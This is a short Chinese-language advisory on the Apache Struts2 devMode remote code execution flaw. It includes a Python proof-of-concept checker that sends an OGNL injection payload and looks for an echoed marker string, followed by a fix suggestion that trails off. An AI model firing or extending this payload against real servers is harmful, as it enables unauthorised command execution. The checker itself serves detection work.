Apache Struts 2是世界上最流行的Java Web服務器框架之一,當Struts2開啓devMode模式時,將導致嚴重遠程代碼執行漏洞。如果WebService 啓動權限爲最高權限時,可遠程執行任意命令,包括關機、建立新用戶、以及刪除服務器上所有文件等等。
檢測
poc:
#!/usr/bin/env python
#coding:utf-8 -*-
import sys
import getopt
import urllib
import urllib2
poc = "debug=command&expression=(%23wr%3D%23context%5B%23parameters.obj%5B0%5D%5D.getWriter())!%3D(%23wr.println(%23parameters.content%5B0%5D))!%3D(%23wr.flush())!%3D(%23wr.close())&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=Adlabgsrc"
banner = '''
# S2-devMode 檢測工具
# 修復建議 : 關閉devMode模式
#使用說明:
檢測命令 python s2-devmode.py -u http://localhost:8080/orders/3/xxx/
例如 python s2-adlab.py -u http://223.22.22.22:8080/example/HelloWorld.action
幫助信息 python s2-devmode.py -h
'''
def usage():
print banner
def send_poc(geturl,data):
try:
user_agent = 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)'
headers = { 'User-Agent' : user_agent,
'Cookie' : ""}
req = urllib2.Request(geturl+"?"+data, headers=headers)
response = urllib2.urlopen(req)
content = response.read()
if "Adlabgsrc" in content:
print "該網站存在s2-devmode代碼執行漏洞,請及時修復"
return True
else:
print "該網站安全"
return False
except urllib2.URLError, e:
#print e.reason
pass
return False
def check_vul(url):
if url.find("http://") | url.find("https://"):
send_poc(url,poc)
if __name__ == '__main__':
opts, args = getopt.getopt(sys.argv[1:], "hu:o:")
for op, value in opts:
if op == "-u":
target_url = value
check_vul(target_url)
elif op == "-h":
usage()
使用:
漏洞利用
解決建議:
關閉devMode:在struts.xml 設置